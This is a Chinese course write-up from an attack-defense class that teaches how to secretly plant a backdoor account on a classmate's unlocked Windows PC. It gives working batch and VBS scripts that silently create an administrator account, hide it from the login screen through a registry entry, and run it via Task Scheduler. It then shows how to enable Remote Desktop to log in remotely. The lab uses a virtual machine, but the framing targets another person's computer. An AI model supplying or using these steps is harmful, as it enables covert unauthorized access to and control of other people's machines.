网络攻防课任务一:创建新账户而登录界面不显示
网络攻防课任务一:创建新账户而登录界面不显示
一、任务情境:
假设你的同学去上厕所了,而他忘记了锁屏,你有一分钟的时间,如何在他的电脑中建立一个账户而不被发现。
二、步骤
(一)初次尝试
1、首先打开虚拟机Windows xp professional,在C盘下建立一个new文件夹。在文件夹中创建一个记事本,输入net user cyx cyx /add,点击保存,并且重命名为new.bat,这是批处理文件。然后,点击开始-->所有程序-->附件-->系统工具-->任务计划
任务计划向导-->下一步-->浏览-->找到bat文件-->执行这个任务:选择登录时,然后输入密码(好像不输入密码也可以)
再点击确定就完成了
试着重启了一下,
果然没有显示出另一个用户的选项。而且新用户是的确创建了,如图:
但是,开机后会闪一下命令行窗口。
(二)初步改进
直接执行bat文件会有命令行窗口的闪烁,解决方案是借助vbs。
VBS是基于Visual Basic的脚本语言。VBS的全称是:Microsoft Visual Basic Script Edition。
VBS?用什么开发工具?Notepad(记事本)!
创建的方法和bat一样,先在记事本中输入代码,然后再把扩展名改为vbs即可。
至于代码,如下:
set ws=WScript.CreateObject("WScript.Shell")
ws.Run left(wscript.scriptfullname,instrrev(wscript.scriptfullname,"\")-1) & "\new.bat",0
wscript是一个脚本宿主文件,提供了解析以上语句的功能,也叫脚本解析引擎。这句话的意思就是说,创建一个脚本命令窗口,换句话说就好像是打开了命令提示窗口,等待命令的输入。
第一行代码的意思是,生成一个WScript.Shell对象,并赋值给变量 ws
以后就可以用ws变量调用 WScript.Shell中的方法。
第二行中,left(wscript.scriptfullname,instrrev(wscript.scriptfullname,"\")-1)表示的是当前.vbs文件运行的目录,比如我的vbs文件在C:\new\vbs.vbs,上面这一串表示的是C:\new,
ws.Run left(wscript.scriptfullname,instrrev(wscript.scriptfullname,"\")-1) & "\new.bat",0就表示运行与当前vbs文件处在同一目录下的bat文件——new.bat。
按照之前的方法,把这个vbs文件放入任务计划中,同时把任务计划中之前那个bat文件删掉。Win+R,cmd,net user。发现之前建的账户还没删掉。
输入net /del user cyx,再用net user验证一下,的确是删了。
再重启一下,由于计划任务中有vbs程序,所以能够出现一个新账户,又由于是在登录后执行,因此开机登录时不会显示新账户。
经验证,通过vbs程序运行bat程序,不会出现命令行窗口闪烁的情况。但是新建的账户没有删除,下次开机时会在账户登录界面显现出来。
(三)再次改进
如何让新建的账户不在登录时显现出来呢?
可以用注册表来实现。
搜了一下隐藏用户的方法,
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\ SpecialAccounts\UserList
在右边的窗口中找到账户,比如cyx账户,双击打开编辑DWORD值:0=隐藏账户;1=显示账户→确定。
但是怎么把这个操作用代码做出来呢?
打开命令行,输入reg add /? 可以看到所有关于添加注册表项的命令,还配了四个例子。
重新建立一个bat文件,内容为
@ehco off
net user cyx cyx /add
net localgroup administrators cyx /add
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v cyx /t REG_DWORD /d 0
(第五行和第四行是一起的)
这个@echo off并不是DOS程序中的, 而是DOS批处理中的。 当年的DOS,所有操作都用键盘命令来完成, 当你每次都要输入相同的命令时, 可以把这么多命令存为一个批处理, 从此以后,只要运行这个批处理, 就相当于打了几行、几十行命令。 DOS在运行批处理时, 会依次执行批处理中的每条命令, 并且会在显示器上显示, 如果你不想让它们显示, 可以加一个“echo off” 当然,“echo off”也是命令, 它本身也会显示, 如果连这条也不显示, 就在前面加个“@”。
然而,我把off改为on,好像没有任何影响。
第二行是添加以cyx为密码的用户cyx(前一个是用户名,后一个是密码)
第三行的意思是将内置的本地服务账户提升为管理员权限。
第四行就是添加注册表项。
再重启一下,ok,开机时没有我们新建的账户,只有默认的管理员账户,如图:
三、应用
问:折腾了这么久,这个有什么用呢?
答:可以实现远程登录别人的电脑。
但是这个有个前提,就是连的这台电脑必须连网,还得知道他的IP地址,所以真要实现任务情境中的内容,还得手速快,赶紧在命令行中输入ipconfig,查一下ip地址,然后事了拂衣去,深藏功与名。
示范:
先查找我的虚拟机的ip地址
在我主机上打开远程桌面连接
打开后输入要连接的计算机的ip地址。
可能半天都没有一个结果,最后显示无法连接之类的,忘了截图了,场景大家可以想象得到。
解决方法是,在被连接的计算机中右击我的电脑,点击属性,然后再选择远程,如下图所示:
再选择自己创建的用户:
最后点击确定。
完成后,重新连一次,应该可以成功了。
效果如下:
可以全屏,和虚拟机的感觉完全不同。
——————————————————————————————————————————
如有疑问,可在下方留言。